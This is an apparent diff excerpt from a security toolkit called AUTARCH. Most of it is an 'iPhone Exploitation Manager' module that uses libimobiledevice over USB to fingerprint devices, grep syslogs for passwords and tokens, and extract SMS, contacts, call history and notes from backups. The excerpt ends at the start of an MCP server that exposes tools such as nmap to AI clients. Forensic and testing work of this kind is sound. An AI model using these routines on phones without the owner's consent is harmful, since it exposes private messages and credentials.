"""Send data to the monitored serial port."""
|
||||
if not self._monitor_running or not self._monitor_serial:
|
||||
return {'success': False, 'error': 'Monitor not running'}
|
||||
try:
|
||||
self._monitor_serial.write((data + '\n').encode('utf-8'))
|
||||
return {'success': True}
|
||||
except Exception as e:
|
||||
return {'success': False, 'error': str(e)}
|
||||
|
||||
def serial_monitor_get_output(self, since_index=0):
|
||||
"""Get buffered serial output since given index."""
|
||||
with self._monitor_lock:
|
||||
data = self._monitor_buffer[since_index:]
|
||||
return {
|
||||
'lines': data,
|
||||
'total': len(self._monitor_buffer),
|
||||
'running': self._monitor_running,
|
||||
}
|
||||
|
||||
@property
|
||||
def monitor_running(self):
|
||||
return self._monitor_running
|
||||
|
||||
|
||||
# ── Singleton ──────────────────────────────────────────────────────
|
||||
|
||||
_manager = None
|
||||
|
||||
def get_hardware_manager():
|
||||
global _manager
|
||||
if _manager is None:
|
||||
_manager = HardwareManager()
|
||||
return _manager
|
||||
683
core/iphone_exploit.py
Normal file
683
core/iphone_exploit.py
Normal file
@@ -0,0 +1,683 @@
|
||||
"""
|
||||
AUTARCH iPhone Exploitation Manager
|
||||
Local USB device access via libimobiledevice tools.
|
||||
Device info, screenshots, syslog, app management, backup extraction,
|
||||
filesystem mounting, provisioning profiles, port forwarding.
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import json
|
||||
import time
|
||||
import shutil
|
||||
import sqlite3
|
||||
import subprocess
|
||||
import plistlib
|
||||
from pathlib import Path
|
||||
from typing import Optional, Dict, Any
|
||||
|
||||
from core.paths import get_data_dir, find_tool
|
||||
|
||||
|
||||
class IPhoneExploitManager:
|
||||
"""All iPhone USB exploitation logic using libimobiledevice."""
|
||||
|
||||
# Tools we look for
|
||||
TOOLS = [
|
||||
'idevice_id', 'ideviceinfo', 'idevicepair', 'idevicename',
|
||||
'idevicedate', 'idevicescreenshot', 'idevicesyslog',
|
||||
'idevicecrashreport', 'idevicediagnostics', 'ideviceinstaller',
|
||||
'idevicebackup2', 'ideviceprovision', 'idevicedebug',
|
||||
'ideviceactivation', 'ifuse', 'iproxy',
|
||||
]
|
||||
|
||||
def __init__(self):
|
||||
self._base = get_data_dir() / 'iphone_exploit'
|
||||
for sub in ('backups', 'screenshots', 'recon', 'apps', 'crash_reports'):
|
||||
(self._base / sub).mkdir(parents=True, exist_ok=True)
|
||||
# Find available tools
|
||||
self._tools = {}
|
||||
for name in self.TOOLS:
|
||||
path = find_tool(name)
|
||||
if not path:
|
||||
path = shutil.which(name)
|
||||
if path:
|
||||
self._tools[name] = path
|
||||
|
||||
def _udid_dir(self, category, udid):
|
||||
d = self._base / category / udid
|
||||
d.mkdir(parents=True, exist_ok=True)
|
||||
return d
|
||||
|
||||
def _run(self, tool_name, args, timeout=30):
|
||||
"""Run a libimobiledevice tool."""
|
||||
path = self._tools.get(tool_name)
|
||||
if not path:
|
||||
return '', f'{tool_name} not found', 1
|
||||
cmd = [path] + args
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
|
||||
return result.stdout, result.stderr, result.returncode
|
||||
except subprocess.TimeoutExpired:
|
||||
return '', 'Command timed out', 1
|
||||
except Exception as e:
|
||||
return '', str(e), 1
|
||||
|
||||
def _run_udid(self, tool_name, udid, args, timeout=30):
|
||||
"""Run tool with -u UDID flag."""
|
||||
return self._run(tool_name, ['-u', udid] + args, timeout=timeout)
|
||||
|
||||
def get_status(self):
|
||||
"""Get availability of libimobiledevice tools."""
|
||||
available = {name: bool(path) for name, path in self._tools.items()}
|
||||
total = len(self.TOOLS)
|
||||
found = sum(1 for v in available.values() if v)
|
||||
return {
|
||||
'tools': available,
|
||||
'total': total,
|
||||
'found': found,
|
||||
'ready': found >= 3, # At minimum need idevice_id, ideviceinfo, idevicepair
|
||||
}
|
||||
|
||||
# ── Device Management ────────────────────────────────────────────
|
||||
|
||||
def list_devices(self):
|
||||
"""List connected iOS devices."""
|
||||
stdout, stderr, rc = self._run('idevice_id', ['-l'])
|
||||
if rc != 0:
|
||||
return []
|
||||
devices = []
|
||||
for line in stdout.strip().split('\n'):
|
||||
udid = line.strip()
|
||||
if udid:
|
||||
info = self.device_info_brief(udid)
|
||||
devices.append({
|
||||
'udid': udid,
|
||||
'name': info.get('DeviceName', ''),
|
||||
'model': info.get('ProductType', ''),
|
||||
'ios_version': info.get('ProductVersion', ''),
|
||||
})
|
||||
return devices
|
||||
|
||||
def device_info(self, udid):
|
||||
"""Get full device information."""
|
||||
stdout, stderr, rc = self._run_udid('ideviceinfo', udid, [])
|
||||
if rc != 0:
|
||||
return {'error': stderr or 'Cannot get device info'}
|
||||
info = {}
|
||||
for line in stdout.split('\n'):
|
||||
if ':' in line:
|
||||
key, _, val = line.partition(':')
|
||||
info[key.strip()] = val.strip()
|
||||
return info
|
||||
|
||||
def device_info_brief(self, udid):
|
||||
"""Get key device info (name, model, iOS version)."""
|
||||
keys = ['DeviceName', 'ProductType', 'ProductVersion', 'BuildVersion',
|
||||
'SerialNumber', 'UniqueChipID', 'WiFiAddress', 'BluetoothAddress']
|
||||
info = {}
|
||||
for key in keys:
|
||||
stdout, _, rc = self._run_udid('ideviceinfo', udid, ['-k', key])
|
||||
if rc == 0:
|
||||
info[key] = stdout.strip()
|
||||
return info
|
||||
|
||||
def device_info_domain(self, udid, domain):
|
||||
"""Get device info for a specific domain."""
|
||||
stdout, stderr, rc = self._run_udid('ideviceinfo', udid, ['-q', domain])
|
||||
if rc != 0:
|
||||
return {'error': stderr}
|
||||
info = {}
|
||||
for line in stdout.split('\n'):
|
||||
if ':' in line:
|
||||
key, _, val = line.partition(':')
|
||||
info[key.strip()] = val.strip()
|
||||
return info
|
||||
|
||||
def pair_device(self, udid):
|
||||
"""Pair with device (requires user trust on device)."""
|
||||
stdout, stderr, rc = self._run_udid('idevicepair', udid, ['pair'])
|
||||
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||
|
||||
def unpair_device(self, udid):
|
||||
"""Unpair from device."""
|
||||
stdout, stderr, rc = self._run_udid('idevicepair', udid, ['unpair'])
|
||||
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||
|
||||
def validate_pair(self, udid):
|
||||
"""Check if device is properly paired."""
|
||||
stdout, stderr, rc = self._run_udid('idevicepair', udid, ['validate'])
|
||||
return {'success': rc == 0, 'paired': rc == 0, 'output': (stdout or stderr).strip()}
|
||||
|
||||
def get_name(self, udid):
|
||||
"""Get device name."""
|
||||
stdout, stderr, rc = self._run_udid('idevicename', udid, [])
|
||||
return {'success': rc == 0, 'name': stdout.strip()}
|
||||
|
||||
def set_name(self, udid, name):
|
||||
"""Set device name."""
|
||||
stdout, stderr, rc = self._run_udid('idevicename', udid, [name])
|
||||
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||
|
||||
def get_date(self, udid):
|
||||
"""Get device date/time."""
|
||||
stdout, stderr, rc = self._run_udid('idevicedate', udid, [])
|
||||
return {'success': rc == 0, 'date': stdout.strip()}
|
||||
|
||||
def set_date(self, udid, timestamp):
|
||||
"""Set device date (epoch timestamp)."""
|
||||
stdout, stderr, rc = self._run_udid('idevicedate', udid, ['-s', str(timestamp)])
|
||||
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||
|
||||
def restart_device(self, udid):
|
||||
"""Restart device."""
|
||||
stdout, stderr, rc = self._run_udid('idevicediagnostics', udid, ['restart'])
|
||||
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||
|
||||
def shutdown_device(self, udid):
|
||||
"""Shutdown device."""
|
||||
stdout, stderr, rc = self._run_udid('idevicediagnostics', udid, ['shutdown'])
|
||||
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||
|
||||
def sleep_device(self, udid):
|
||||
"""Put device to sleep."""
|
||||
stdout, stderr, rc = self._run_udid('idevicediagnostics', udid, ['sleep'])
|
||||
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||
|
||||
# ── Screenshot & Syslog ──────────────────────────────────────────
|
||||
|
||||
def screenshot(self, udid):
|
||||
"""Take a screenshot."""
|
||||
out_dir = self._udid_dir('screenshots', udid)
|
||||
filename = f'screen_{int(time.time())}.png'
|
||||
filepath = str(out_dir / filename)
|
||||
stdout, stderr, rc = self._run_udid('idevicescreenshot', udid, [filepath])
|
||||
if rc == 0 and os.path.exists(filepath):
|
||||
return {'success': True, 'path': filepath, 'size': os.path.getsize(filepath)}
|
||||
return {'success': False, 'error': (stderr or stdout).strip()}
|
||||
|
||||
def syslog_dump(self, udid, duration=5):
|
||||
"""Capture syslog for a duration."""
|
||||
out_dir = self._udid_dir('recon', udid)
|
||||
logfile = str(out_dir / f'syslog_{int(time.time())}.txt')
|
||||
try:
|
||||
proc = subprocess.Popen(
|
||||
[self._tools.get('idevicesyslog', 'idevicesyslog'), '-u', udid],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
|
||||
)
|
||||
time.sleep(duration)
|
||||
proc.terminate()
|
||||
stdout, _ = proc.communicate(timeout=3)
|
||||
with open(logfile, 'w') as f:
|
||||
f.write(stdout)
|
||||
return {'success': True, 'path': logfile, 'lines': len(stdout.split('\n'))}
|
||||
except Exception as e:
|
||||
return {'success': False, 'error': str(e)}
|
||||
|
||||
def syslog_grep(self, udid, pattern, duration=5):
|
||||
"""Capture syslog and grep for pattern (passwords, tokens, etc)."""
|
||||
result = self.syslog_dump(udid, duration=duration)
|
||||
if not result['success']:
|
||||
return result
|
||||
matches = []
|
||||
try:
|
||||
with open(result['path']) as f:
|
||||
for line in f:
|
||||
if re.search(pattern, line, re.IGNORECASE):
|
||||
matches.append(line.strip())
|
||||
except Exception:
|
||||
pass
|
||||
return {'success': True, 'matches': matches, 'count': len(matches), 'pattern': pattern}
|
||||
|
||||
def crash_reports(self, udid):
|
||||
"""Pull crash reports from device."""
|
||||
out_dir = self._udid_dir('crash_reports', udid)
|
||||
stdout, stderr, rc = self._run_udid('idevicecrashreport', udid,
|
||||
['-e', str(out_dir)], timeout=60)
|
||||
if rc == 0:
|
||||
files = list(out_dir.iterdir()) if out_dir.exists() else []
|
||||
return {'success': True, 'output_dir': str(out_dir),
|
||||
'count': len(files), 'output': stdout.strip()}
|
||||
return {'success': False, 'error': (stderr or stdout).strip()}
|
||||
|
||||
# ── App Management ───────────────────────────────────────────────
|
||||
|
||||
def list_apps(self, udid, app_type='user'):
|
||||
"""List installed apps. type: user, system, all."""
|
||||
flags = {
|
||||
'user': ['-l', '-o', 'list_user'],
|
||||
'system': ['-l', '-o', 'list_system'],
|
||||
'all': ['-l', '-o', 'list_all'],
|
||||
}
|
||||
args = flags.get(app_type, ['-l'])
|
||||
stdout, stderr, rc = self._run_udid('ideviceinstaller', udid, args, timeout=30)
|
||||
if rc != 0:
|
||||
return {'success': False, 'error': (stderr or stdout).strip(), 'apps': []}
|
||||
apps = []
|
||||
for line in stdout.strip().split('\n'):
|
||||
line = line.strip()
|
||||
if not line or line.startswith('CFBundle') or line.startswith('Total'):
|
||||
continue
|
||||
# Format: com.example.app, "App Name", "1.0"
|
||||
parts = line.split(',', 2)
|
||||
if parts:
|
||||
app = {'bundle_id': parts[0].strip().strip('"')}
|
||||
if len(parts) >= 2:
|
||||
app['name'] = parts[1].strip().strip('"')
|
||||
if len(parts) >= 3:
|
||||
app['version'] = parts[2].strip().strip('"')
|
||||
apps.append(app)
|
||||
return {'success': True, 'apps': apps, 'count': len(apps)}
|
||||
|
||||
def install_app(self, udid, ipa_path):
|
||||
"""Install an IPA on device."""
|
||||
if not os.path.isfile(ipa_path):
|
||||
return {'success': False, 'error': f'File not found: {ipa_path}'}
|
||||
stdout, stderr, rc = self._run_udid('ideviceinstaller', udid,
|
||||
['-i', ipa_path], timeout=120)
|
||||
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||
|
||||
def uninstall_app(self, udid, bundle_id):
|
||||
"""Uninstall an app by bundle ID."""
|
||||
stdout, stderr, rc = self._run_udid('ideviceinstaller', udid,
|
||||
['-U', bundle_id], timeout=30)
|
||||
return {'success': rc == 0, 'bundle_id': bundle_id, 'output': (stdout or stderr).strip()}
|
||||
|
||||
# ── Backup & Data Extraction ─────────────────────────────────────
|
||||
|
||||
def create_backup(self, udid, encrypted=False, password=''):
|
||||
"""Create a full device backup."""
|
||||
backup_dir = str(self._base / 'backups')
|
||||
args = ['backup', '--full', backup_dir]
|
||||
if encrypted and password:
|
||||
args = ['backup', '--full', backup_dir, '-p', password]
|
||||
stdout, stderr, rc = self._run_udid('idevicebackup2', udid, args, timeout=600)
|
||||
backup_path = os.path.join(backup_dir, udid)
|
||||
success = os.path.isdir(backup_path)
|
||||
return {
|
||||
'success': success,
|
||||
'backup_path': backup_path if success else None,
|
||||
'encrypted': encrypted,
|
||||
'output': (stdout or stderr).strip()[:500],
|
||||
}
|
||||
|
||||
def list_backups(self):
|
||||
"""List available local backups."""
|
||||
backup_dir = self._base / 'backups'
|
||||
backups = []
|
||||
if backup_dir.exists():
|
||||
for d in backup_dir.iterdir():
|
||||
if d.is_dir():
|
||||
manifest = d / 'Manifest.db'
|
||||
info_plist = d / 'Info.plist'
|
||||
backup_info = {'udid': d.name, 'path': str(d)}
|
||||
if manifest.exists():
|
||||
backup_info['has_manifest'] = True
|
||||
backup_info['size_mb'] = sum(
|
||||
f.stat().st_size for f in d.rglob('*') if f.is_file()
|
||||
) / (1024 * 1024)
|
||||
if info_plist.exists():
|
||||
try:
|
||||
with open(info_plist, 'rb') as f:
|
||||
plist = plistlib.load(f)
|
||||
backup_info['device_name'] = plist.get('Device Name', '')
|
||||
backup_info['product_type'] = plist.get('Product Type', '')
|
||||
backup_info['ios_version'] = plist.get('Product Version', '')
|
||||
backup_info['date'] = str(plist.get('Last Backup Date', ''))
|
||||
except Exception:
|
||||
pass
|
||||
backups.append(backup_info)
|
||||
return {'backups': backups, 'count': len(backups)}
|
||||
|
||||
def extract_backup_sms(self, backup_path):
|
||||
"""Extract SMS/iMessage from a backup."""
|
||||
manifest = os.path.join(backup_path, 'Manifest.db')
|
||||
if not os.path.exists(manifest):
|
||||
return {'success': False, 'error': 'Manifest.db not found'}
|
||||
try:
|
||||
conn = sqlite3.connect(manifest)
|
||||
cur = conn.cursor()
|
||||
# Find SMS database file hash
|
||||
cur.execute("SELECT fileID FROM Files WHERE relativePath = 'Library/SMS/sms.db' AND domain = 'HomeDomain'")
|
||||
row = cur.fetchone()
|
||||
conn.close()
|
||||
if not row:
|
||||
return {'success': False, 'error': 'SMS database not found in backup'}
|
||||
file_hash = row[0]
|
||||
sms_db = os.path.join(backup_path, file_hash[:2], file_hash)
|
||||
if not os.path.exists(sms_db):
|
||||
return {'success': False, 'error': f'SMS db file not found: {file_hash}'}
|
||||
# Query messages
|
||||
conn = sqlite3.connect(sms_db)
|
||||
cur = conn.cursor()
|
||||
cur.execute('''
|
||||
SELECT m.rowid, m.text, m.date, m.is_from_me,
|
||||
h.id AS handle_id, h.uncanonicalized_id
|
||||
FROM message m
|
||||
LEFT JOIN handle h ON m.handle_id = h.rowid
|
||||
ORDER BY m.date DESC LIMIT 500
|
||||
''')
|
||||
messages = []
|
||||
for row in cur.fetchall():
|
||||
# Apple timestamps: seconds since 2001-01-01
|
||||
apple_epoch = 978307200
|
||||
ts = row[2]
|
||||
if ts and ts > 1e17:
|
||||
ts = ts / 1e9 # nanoseconds
|
||||
date_readable = ''
|
||||
if ts:
|
||||
try:
|
||||
date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(ts + apple_epoch))
|
||||
except (ValueError, OSError):
|
||||
pass
|
||||
messages.append({
|
||||
'id': row[0], 'text': row[1] or '', 'date': date_readable,
|
||||
'is_from_me': bool(row[3]),
|
||||
'handle': row[4] or row[5] or '',
|
||||
})
|
||||
conn.close()
|
||||
return {'success': True, 'messages': messages, 'count': len(messages)}
|
||||
except Exception as e:
|
||||
return {'success': False, 'error': str(e)}
|
||||
|
||||
def extract_backup_contacts(self, backup_path):
|
||||
"""Extract contacts from backup."""
|
||||
manifest = os.path.join(backup_path, 'Manifest.db')
|
||||
if not os.path.exists(manifest):
|
||||
return {'success': False, 'error': 'Manifest.db not found'}
|
||||
try:
|
||||
conn = sqlite3.connect(manifest)
|
||||
cur = conn.cursor()
|
||||
cur.execute("SELECT fileID FROM Files WHERE relativePath = 'Library/AddressBook/AddressBook.sqlitedb' AND domain = 'HomeDomain'")
|
||||
row = cur.fetchone()
|
||||
conn.close()
|
||||
if not row:
|
||||
return {'success': False, 'error': 'AddressBook not found in backup'}
|
||||
file_hash = row[0]
|
||||
ab_db = os.path.join(backup_path, file_hash[:2], file_hash)
|
||||
if not os.path.exists(ab_db):
|
||||
return {'success': False, 'error': 'AddressBook file not found'}
|
||||
conn = sqlite3.connect(ab_db)
|
||||
cur = conn.cursor()
|
||||
cur.execute('''
|
||||
SELECT p.rowid, p.First, p.Last, p.Organization,
|
||||
mv.value AS phone_or_email
|
||||
FROM ABPerson p
|
||||
LEFT JOIN ABMultiValue mv ON p.rowid = mv.record_id
|
||||
ORDER BY p.Last, p.First
|
||||
''')
|
||||
contacts = {}
|
||||
for row in cur.fetchall():
|
||||
rid = row[0]
|
||||
if rid not in contacts:
|
||||
contacts[rid] = {
|
||||
'first': row[1] or '', 'last': row[2] or '',
|
||||
'organization': row[3] or '', 'values': []
|
||||
}
|
||||
if row[4]:
|
||||
contacts[rid]['values'].append(row[4])
|
||||
conn.close()
|
||||
contact_list = list(contacts.values())
|
||||
return {'success': True, 'contacts': contact_list, 'count': len(contact_list)}
|
||||
except Exception as e:
|
||||
return {'success': False, 'error': str(e)}
|
||||
|
||||
def extract_backup_call_log(self, backup_path):
|
||||
"""Extract call history from backup."""
|
||||
manifest = os.path.join(backup_path, 'Manifest.db')
|
||||
if not os.path.exists(manifest):
|
||||
return {'success': False, 'error': 'Manifest.db not found'}
|
||||
try:
|
||||
conn = sqlite3.connect(manifest)
|
||||
cur = conn.cursor()
|
||||
cur.execute("SELECT fileID FROM Files WHERE relativePath LIKE '%CallHistory%' AND domain = 'HomeDomain'")
|
||||
row = cur.fetchone()
|
||||
conn.close()
|
||||
if not row:
|
||||
return {'success': False, 'error': 'Call history not found in backup'}
|
||||
file_hash = row[0]
|
||||
ch_db = os.path.join(backup_path, file_hash[:2], file_hash)
|
||||
if not os.path.exists(ch_db):
|
||||
return {'success': False, 'error': 'Call history file not found'}
|
||||
conn = sqlite3.connect(ch_db)
|
||||
cur = conn.cursor()
|
||||
cur.execute('''
|
||||
SELECT ROWID, address, date, duration, flags, country_code
|
||||
FROM ZCALLRECORD ORDER BY ZDATE DESC LIMIT 200
|
||||
''')
|
||||
flag_map = {4: 'incoming', 5: 'outgoing', 8: 'missed'}
|
||||
calls = []
|
||||
apple_epoch = 978307200
|
||||
for row in cur.fetchall():
|
||||
ts = row[2]
|
||||
date_readable = ''
|
||||
if ts:
|
||||
try:
|
||||
date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(ts + apple_epoch))
|
||||
except (ValueError, OSError):
|
||||
pass
|
||||
calls.append({
|
||||
'id': row[0], 'address': row[1] or '', 'date': date_readable,
|
||||
'duration': row[3] or 0, 'type': flag_map.get(row[4], str(row[4])),
|
||||
'country': row[5] or '',
|
||||
})
|
||||
conn.close()
|
||||
return {'success': True, 'calls': calls, 'count': len(calls)}
|
||||
except Exception as e:
|
||||
return {'success': False, 'error': str(e)}
|
||||
|
||||
def extract_backup_notes(self, backup_path):
|
||||
"""Extract notes from backup."""
|
||||
manifest = os.path.join(backup_path, 'Manifest.db')
|
||||
if not os.path.exists(manifest):
|
||||
return {'success': False, 'error': 'Manifest.db not found'}
|
||||
try:
|
||||
conn = sqlite3.connect(manifest)
|
||||
cur = conn.cursor()
|
||||
cur.execute("SELECT fileID FROM Files WHERE relativePath LIKE '%NoteStore.sqlite%' AND domain = 'AppDomainGroup-group.com.apple.notes'")
|
||||
row = cur.fetchone()
|
||||
conn.close()
|
||||
if not row:
|
||||
return {'success': False, 'error': 'Notes database not found in backup'}
|
||||
file_hash = row[0]
|
||||
notes_db = os.path.join(backup_path, file_hash[:2], file_hash)
|
||||
if not os.path.exists(notes_db):
|
||||
return {'success': False, 'error': 'Notes file not found'}
|
||||
conn = sqlite3.connect(notes_db)
|
||||
cur = conn.cursor()
|
||||
cur.execute('''
|
||||
SELECT n.Z_PK, n.ZTITLE, nb.ZDATA, n.ZMODIFICATIONDATE
|
||||
FROM ZICCLOUDSYNCINGOBJECT n
|
||||
LEFT JOIN ZICNOTEDATA nb ON n.Z_PK = nb.ZNOTE
|
||||
WHERE n.ZTITLE IS NOT NULL
|
||||
ORDER BY n.ZMODIFICATIONDATE DESC LIMIT 100
|
||||
''')
|
||||
apple_epoch = 978307200
|
||||
notes = []
|
||||
for row in cur.fetchall():
|
||||
body = ''
|
||||
if row[2]:
|
||||
try:
|
||||
body = row[2].decode('utf-8', errors='replace')[:500]
|
||||
except Exception:
|
||||
body = '[binary data]'
|
||||
date_readable = ''
|
||||
if row[3]:
|
||||
try:
|
||||
date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(row[3] + apple_epoch))
|
||||
except (ValueError, OSError):
|
||||
pass
|
||||
notes.append({'id': row[0], 'title': row[1] or '', 'body': body, 'date': date_readable})
|
||||
conn.close()
|
||||
return {'success': True, 'notes': notes, 'count': len(notes)}
|
||||
except Exception as e:
|
||||
return {'success': False, 'error': str(e)}
|
||||
|
||||
def list_backup_files(self, backup_path, domain='', path_filter=''):
|
||||
"""List all files in a backup's Manifest.db."""
|
||||
manifest = os.path.join(backup_path, 'Manifest.db')
|
||||
if not os.path.exists(manifest):
|
||||
return {'success': False, 'error': 'Manifest.db not found'}
|
||||
try:
|
||||
conn = sqlite3.connect(manifest)
|
||||
cur = conn.cursor()
|
||||
query = 'SELECT fileID, domain, relativePath, flags FROM Files'
|
||||
conditions = []
|
||||
params = []
|
||||
if domain:
|
||||
conditions.append('domain LIKE ?')
|
||||
params.append(f'%{domain}%')
|
||||
if path_filter:
|
||||
conditions.append('relativePath LIKE ?')
|
||||
params.append(f'%{path_filter}%')
|
||||
if conditions:
|
||||
query += ' WHERE ' + ' AND '.join(conditions)
|
||||
query += ' LIMIT 500'
|
||||
cur.execute(query, params)
|
||||
files = []
|
||||
for row in cur.fetchall():
|
||||
files.append({
|
||||
'hash': row[0], 'domain': row[1],
|
||||
'path': row[2], 'flags': row[3],
|
||||
})
|
||||
conn.close()
|
||||
return {'success': True, 'files': files, 'count': len(files)}
|
||||
except Exception as e:
|
||||
return {'success': False, 'error': str(e)}
|
||||
|
||||
def extract_backup_file(self, backup_path, file_hash, output_name=None):
|
||||
"""Extract a specific file from backup by its hash."""
|
||||
src = os.path.join(backup_path, file_hash[:2], file_hash)
|
||||
if not os.path.exists(src):
|
||||
return {'success': False, 'error': f'File not found: {file_hash}'}
|
||||
out_dir = self._base / 'recon' / 'extracted'
|
||||
out_dir.mkdir(parents=True, exist_ok=True)
|
||||
dest = str(out_dir / (output_name or file_hash))
|
||||
shutil.copy2(src, dest)
|
||||
return {'success': True, 'path': dest, 'size': os.path.getsize(dest)}
|
||||
|
||||
# ── Filesystem ───────────────────────────────────────────────────
|
||||
|
||||
def mount_filesystem(self, udid, mountpoint=None):
|
||||
"""Mount device filesystem via ifuse."""
|
||||
if 'ifuse' not in self._tools:
|
||||
return {'success': False, 'error': 'ifuse not installed'}
|
||||
if not mountpoint:
|
||||
mountpoint = str(self._base / 'mnt' / udid)
|
||||
os.makedirs(mountpoint, exist_ok=True)
|
||||
stdout, stderr, rc = self._run('ifuse', ['-u', udid, mountpoint])
|
||||
return {'success': rc == 0, 'mountpoint': mountpoint, 'output': (stderr or stdout).strip()}
|
||||
|
||||
def mount_app_documents(self, udid, bundle_id, mountpoint=None):
|
||||
"""Mount a specific app's Documents folder via ifuse."""
|
||||
if 'ifuse' not in self._tools:
|
||||
return {'success': False, 'error': 'ifuse not installed'}
|
||||
if not mountpoint:
|
||||
mountpoint = str(self._base / 'mnt' / udid / bundle_id)
|
||||
os.makedirs(mountpoint, exist_ok=True)
|
||||
stdout, stderr, rc = self._run('ifuse', ['-u', udid, '--documents', bundle_id, mountpoint])
|
||||
return {'success': rc == 0, 'mountpoint': mountpoint, 'output': (stderr or stdout).strip()}
|
||||
|
||||
def unmount_filesystem(self, mountpoint):
|
||||
"""Unmount a previously mounted filesystem."""
|
||||
try:
|
||||
subprocess.run(['fusermount', '-u', mountpoint], capture_output=True, timeout=10)
|
||||
return {'success': True, 'mountpoint': mountpoint}
|
||||
except Exception as e:
|
||||
return {'success': False, 'error': str(e)}
|
||||
|
||||
# ── Provisioning Profiles ────────────────────────────────────────
|
||||
|
||||
def list_profiles(self, udid):
|
||||
"""List provisioning profiles on device."""
|
||||
stdout, stderr, rc = self._run_udid('ideviceprovision', udid, ['list'], timeout=15)
|
||||
if rc != 0:
|
||||
return {'success': False, 'error': (stderr or stdout).strip(), 'profiles': []}
|
||||
profiles = []
|
||||
current = {}
|
||||
for line in stdout.split('\n'):
|
||||
line = line.strip()
|
||||
if line.startswith('ProvisionedDevices'):
|
||||
continue
|
||||
if ' - ' in line and not current:
|
||||
current = {'id': line.split(' - ')[0].strip(), 'name': line.split(' - ', 1)[1].strip()}
|
||||
elif line == '' and current:
|
||||
profiles.append(current)
|
||||
current = {}
|
||||
if current:
|
||||
profiles.append(current)
|
||||
return {'success': True, 'profiles': profiles, 'count': len(profiles)}
|
||||
|
||||
def install_profile(self, udid, profile_path):
|
||||
"""Install a provisioning/configuration profile."""
|
||||
if not os.path.isfile(profile_path):
|
||||
return {'success': False, 'error': f'File not found: {profile_path}'}
|
||||
stdout, stderr, rc = self._run_udid('ideviceprovision', udid,
|
||||
['install', profile_path], timeout=15)
|
||||
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||
|
||||
def remove_profile(self, udid, profile_id):
|
||||
"""Remove a provisioning profile."""
|
||||
stdout, stderr, rc = self._run_udid('ideviceprovision', udid,
|
||||
['remove', profile_id], timeout=15)
|
||||
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||
|
||||
# ── Port Forwarding ──────────────────────────────────────────────
|
||||
|
||||
def port_forward(self, udid, local_port, device_port):
|
||||
"""Set up port forwarding via iproxy (runs in background)."""
|
||||
if 'iproxy' not in self._tools:
|
||||
return {'success': False, 'error': 'iproxy not installed'}
|
||||
try:
|
||||
proc = subprocess.Popen(
|
||||
[self._tools['iproxy'], '-u', udid, str(local_port), str(device_port)],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE
|
||||
)
|
||||
time.sleep(0.5)
|
||||
if proc.poll() is not None:
|
||||
_, err = proc.communicate()
|
||||
return {'success': False, 'error': err.decode().strip()}
|
||||
return {'success': True, 'pid': proc.pid,
|
||||
'local': local_port, 'device': device_port}
|
||||
except Exception as e:
|
||||
return {'success': False, 'error': str(e)}
|
||||
|
||||
# ── Device Fingerprint ───────────────────────────────────────────
|
||||
|
||||
def full_fingerprint(self, udid):
|
||||
"""Get comprehensive device fingerprint."""
|
||||
fp = self.device_info(udid)
|
||||
# Add specific domains
|
||||
for domain in ['com.apple.disk_usage', 'com.apple.mobile.battery',
|
||||
'com.apple.mobile.internal', 'com.apple.international']:
|
||||
domain_info = self.device_info_domain(udid, domain)
|
||||
if 'error' not in domain_info:
|
||||
fp[f'domain_{domain.split(".")[-1]}'] = domain_info
|
||||
return fp
|
||||
|
||||
def export_recon_report(self, udid):
|
||||
"""Export full reconnaissance report."""
|
||||
out_dir = self._udid_dir('recon', udid)
|
||||
report = {
|
||||
'udid': udid,
|
||||
'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'),
|
||||
'device_info': self.device_info(udid),
|
||||
'pair_status': self.validate_pair(udid),
|
||||
'apps': self.list_apps(udid),
|
||||
'profiles': self.list_profiles(udid),
|
||||
}
|
||||
report_path = str(out_dir / f'report_{int(time.time())}.json')
|
||||
with open(report_path, 'w') as f:
|
||||
json.dump(report, f, indent=2, default=str)
|
||||
return {'success': True, 'report_path': report_path}
|
||||
|
||||
|
||||
# ── Singleton ──────────────────────────────────────────────────────
|
||||
|
||||
_manager = None
|
||||
|
||||
def get_iphone_manager():
|
||||
global _manager
|
||||
if _manager is None:
|
||||
_manager = IPhoneExploitManager()
|
||||
return _manager
|
||||
1465
core/llm.py
Normal file
1465
core/llm.py
Normal file
File diff suppressed because it is too large
Load Diff
585
core/mcp_server.py
Normal file
585
core/mcp_server.py
Normal file
@@ -0,0 +1,585 @@
|
||||
"""
|
||||
AUTARCH MCP Server
|
||||
Exposes AUTARCH tools via Model Context Protocol (MCP)
|
||||
for use with Claude Desktop, Claude Code, and other MCP clients.
|
||||
"""
|
||||
|
||||
import sys
|
||||
import os
|
||||
import json
|
||||
import socket
|
||||
import subprocess
|
||||
import threading
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
# Ensure core is importable
|
||||
_app_dir = Path(__file__).resolve().parent.parent
|
||||
if str(_app_dir) not in sys.path:
|
||||
sys.path.insert(0, str(_app_dir))
|
||||
|
||||
from core.config import get_config
|
||||
from core.paths import find_tool, get_app_dir
|
||||
|
||||
# MCP server state
|
||||
_server_process = None
|
||||
_server_thread = None
|
||||
|
||||
|
||||
def get_autarch_tools():
|
||||
"""Build the list of AUTARCH tools to expose via MCP."""
|
||||
tools = []
|
||||
|
||||
# ── Network Scanning ──
|
||||
tools.append({
|
||||
'name': 'nmap_scan',
|
||||
'description': 'Run an nmap scan against a target. Returns scan results.',
|
||||
'params': {
|
||||
'target': {'type': 'string', 'description': 'Target IP, hostname, or CIDR range', 'required': True},
|
||||
